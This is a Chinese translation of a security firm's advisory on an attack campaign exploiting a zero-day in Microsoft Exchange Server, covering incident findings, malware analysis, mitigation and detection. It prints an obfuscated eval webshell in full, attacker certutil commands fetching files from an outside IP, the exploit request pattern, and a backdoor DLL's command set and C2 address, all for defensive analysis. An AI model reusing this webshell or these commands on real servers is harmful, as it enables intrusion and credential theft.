警告：新的攻击活动利用了 MICROSOFT EXCHANGE SERVER 上的一个新的 0-DAY RCE 漏洞

大约在 2022 年 8 月初，在进行安全监控和事件响应服务时，GTSC SOC 团队发现关键基础设施受到攻击，特别是针对他们的 Microsoft Exchange 应用程序。在调查过程中，GTSC蓝队专家确定此次攻击利用了未公开的Exchange安全漏洞，即0day漏洞，因此立即提出了临时遏制方案。同时，红队专家开始研究调试Exchange反编译代码，寻找漏洞利用代码。感谢发现前 1 天 Exchange 漏洞的经验，RedTeam 对 Exchange 的代码流程和处理机制有深入的了解，因此减少了研究时间，并迅速发现了漏洞。事实证明，该漏洞非常严重，以至于攻击者可以在受感染的系统上执行 RCE。GTSC 立即将该漏洞提交给零日倡议 (ZDI) 以与 Microsoft 合作，以便尽快准备补丁。ZDI 验证并确认了 2 个漏洞，其 CVSS 分数分别为 8.8 和 6.3，关于漏洞利用如下。

然而到目前为止，GTSC 已经看到其他客户也遇到了类似的问题。经过仔细测试，我们确认这些系统正在使用这个 0-day 漏洞进行攻击。为了帮助社区在微软官方补丁发布之前暂时阻止攻击，我们发布这篇文章针对那些使用微软 Exchange 电子邮件系统的组织。

漏洞信息

      – 在向客户提供 SOC 服务时，GTSC Blueteam 在 IIS 日志中检测到与 ProxyShell 漏洞格式相同的利用请求：autodiscover/[email protected]/&Email=autodiscover/autodiscover.json %[email protected]。还检查了其他日志，我们看到攻击者可以在被攻击的系统上执行命令。这些 Exchange 服务器的版本号显示已经安装了最新的更新，因此不可能利用 Proxyshell 漏洞进行利用 -> Blueteam 分析师可以确认这是一个新的 0-day RCE 漏洞。这些信息被发送给 Redteam，GTSC 的 Redteam 成员进行了研究以回答这些问题：为什么利用请求与 ProxyShell 漏洞的利用请求相似？RCE是如何实施的？

      – GTSC Redteam 成功地弄清楚了如何使用上述路径访问 Exchange 后端中的组件并执行 RCE。但是目前，我们还不想发布该漏洞的技术细节。

后利用

在成功掌握漏洞利用后，我们记录了攻击以收集信息并在受害者的系统中建立立足点。攻击团队还使用各种技术在受影响的系统上创建后门，并对系统中的其他服务器进行横向移动。

网页外壳

我们检测到大部分被混淆的 webshell 被丢弃到 Exchange 服务器。使用用户代理，我们检测到攻击者使用 Antsword，这是一个基于中文的活跃开源跨平台网站管理工具，支持 webshell 管理.

<%@Page Language=”Jscript”%>

<%eval(System.Text.Encoding.GetEncoding (936).GetString(System.Convert.FromBase64String(‘NTcyM’+’jk3O3’+’ZhciB’+’zYWZl’+”+’P’+’S’ +char(837-763)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(‘MQ==’))+char(51450/525)+”+”+char( 0640-0462)+char(0 x8c28/0x1cc)+char(0212100/01250)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String(‘Wg==’))+’m’ +”+’UiO2V’+’2YWwo’+’UmVxd’+’WVzdC’+’5JdGV’+’tWydF’+’WjBXS’+’WFtRG’+’Z6bU8’+’xajhk’+’J10sI’+’HNhZm ‘+’UpOzE’+’3MTY4’+’OTE7’+”)));%>

我们怀疑这些来自一个中文攻击组，因为 webshell 代码页是 936，这是微软对简体中文的字符编码。

另一个值得注意的特点是，黑客还将文件 RedirSuiteServiceProxy.aspx 的内容更改为 webshell 内容。RedirSuiteServiceProxy.aspx 是 Exchange 服务器中可用的合法文件名。

在另一个客户的事件响应过程中，GTSC 注意到攻击团队使用了另一个 webshell 模板

文件名：errorEE.aspx

SHA256：be07bd9310d7a487ca2f49bcdaafb9513c0c8f99921fdf79a05eaba25b52d257

参考：https://github.com/antonioCoco/SharPyShell

命令执行

除了收集系统信息外，攻击者还通过 certutil 下载文件并检查连接，certutil 是 Windows 环境中可用的合法工具。

“cmd” /c cd /d “c:\PerfLogs”&certutil.exe -urlcache -split -f http://206.188.196.77:8080/themes.aspx c:perflogst&echo [S]&cd&echo [E]

“cmd” /c cd /d “c:\PerfLogs”&certutil.exe -urlcache -split -f https://httpbin.org/get c:test&echo [S]&cd&echo [E]

需要注意的是，每个命令都以字符串echo [S]&cd&echo [E]结尾，这是 Chinese Chopper 的签名之一。

此外，黑客还将恶意DLL注入内存，将可疑文件投放到被攻击服务器上，并通过WMIC执行这些文件。

可疑文件

在服务器上，我们检测到exe和dll格式的可疑文件

在可疑文件中，根据在服务器上执行的命令，我们确定all.exe 和dump.dll负责在服务器系统上转储凭据。之后，攻击者使用rar.exe压缩转储文件并将其复制到 Exchange 服务器的 webroot 中。不幸的是，在响应过程中，上述文件在被入侵的系统上不再存在，可能是由于黑客删除了证据。 

放入 C:PerfLogs 文件夹的cm.exe文件是标准的 Windows 命令行工具cmd.exe。

恶意软件分析

动态链接库信息

文件名：Dll.dll

Sha 256：

      074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82

      45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9

      9ceca98c2b24ee30d64184d9d2470f6f2509ed914dfb87604123057a14c57c0

      29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3

      c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2

DLL分析

GTSC 分析了一个特定的样本（074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82）来描述恶意代码的行为，其他 DLL 样本具有相似的任务和行为，只是侦听器配置不同。

DLL 由两个类组成：Run和m，每个类都调用执行不同任务的方法。具体来说：

Run类创建一个侦听器，用于侦听路径 https://*:443/ews/web/webconfig/ 上的端口 443 的连接。

监听后，恶意软件会创建一个调用r的新线程。方法r会：

– 检查接收到的请求正文中是否有数据，如果没有则返回结果 404。

– 相反，如果请求包含数据，则 DLL 继续处理 IF 分支内的流：

检查收到的请求是否包含“RPDbgEsJF9o8S=”。如果是，则调用m类中的方法i来处理收到的请求。从Run.mi返回的结果将被转换为 base64 字符串。结果以以下格式返回给客户端

{

“结果”：1，

“消息”：“base64（aes（结果））”

}

Class m

方法：

– 使用 AES 算法对收到的请求进行解密，其中请求的前 16 个字节是 IV 值，接下来的 16 个字节是密钥值，其余的是数据。

– 解码后，获取数组中的第一个元素作为标志来处理定义的情况如下：

o 案例 0：调用方法info。该方法负责收集系统信息。操作系统架构、框架版本、操作系统版本等信息。GTSC用下图模拟案例0。请求以前 16 字节为 IV 值的格式发送，接下来的 16 字节为键值，后跟一个标志指定选项，其余为数据。

base64 (IV | key | aes(flag|data))

o 案例 1：调用方法sc，该方法负责分配内存以实现 shellcode

o 案例 2：调用两个方法p和r。方法p处理由“|”分隔的数据 字符，保存到数组array3。数组array3将前 2 个元素作为方法r的参数，该方法负责执行命令

o 案例3：调用方法ld，负责以格式列出目录和文件信息

                                    D|-|<创建日期> |<修改日期> |<文件夹或文件名>

o 案例4：调用wf方法，负责写文件

o 案例5：调用方法rf，负责读取文件

o 案例 6：创建文件夹

o 案例 7：删除文件或文件夹

o 案例 8：移动文件

o 案例 9：为文件设置时间

o 案例 10：加载并执行从请求中接收到的 C# 字节码。

其他 DLL 示例具有类似的任务，只是侦听器配置不同，如下所示：

                受害者 1：

https://*:443/ews/web/webconfig/

https://*:443/owa/auth/webcccsd/

https://*:444/ews/auto/

https://*:444/ews/web/api/

                受害者 2：

                                     http://*:80/owa/auth/Current/script/

            https://*:443/owa/auth/Current/script/

GTSC 还检测到 DLL 被注入到 svchost.exe 进程的内存中。DLL 建立连接以向二进制中固定的地址 137[.]184[.]67[.]33 发送和接收数据。使用 RC4 加密算法通过 C2 发送和接收数据，其中密钥将在运行时生成。

临时缓解措施

GTSC 的直接事件响应流程记录了超过 1 个组织成为利用此 0-day 漏洞的攻击活动的受害者。此外，我们还担心可能还有许多其他组织被利用但未被发现。在等待该公司的官方补丁时，GTSC 通过在 IIS 服务器上的 URL 重写规则模块添加一条规则来阻止带有攻击指标的请求，从而提供了一种临时补救措施，以减少攻击的脆弱性。

      – 在前端的自动发现中选择选项卡 URL 重写，选择请求阻止

      – 将字符串“ .*autodiscover.json.*@.*Powershell.* ”添加到 URL 路径：  

      – 条件输入：选择 {REQUEST_URI}

我们建议全球所有使用 Microsoft Exchange Server 的组织/企业尽快检查、审查和应用上述临时补救措施，以避免潜在的严重损害。

检测：

为了帮助组织检查他们的 Exchange 服务器是否已被此漏洞利用，GTSC 发布了扫描 IIS 日志文件的指南和工具（默认存储在 %SystemDrive%inetpublogsLogFiles 文件夹中）： 

      方法一：使用powershell命令：
            Get-ChildItem -Recurse -Path-Filter “*.log” | Select-String -Pattern ‘powershell.*autodiscover.json.*@.*200 方法二：使用GTSC开发的工具：基于exploit签名，我们构建了一个搜索工具，搜索时间比使用powershell要短得多. 下载链接：https://github.com/ncsgroupvn/NCSE0Scanner

原文：https://gteltsc.vn/blog/warning-new-attack-campaign-utilized-a-new-0day-rce-vulnerability-on-microsoft-exchange-server-12715.html

原文始发于微信公众号（IRT工业安全红队）：警告：新的攻击活动利用了 MICROSOFT EXCHANGE SERVER 上的一个新的 0-DAY RCE 漏洞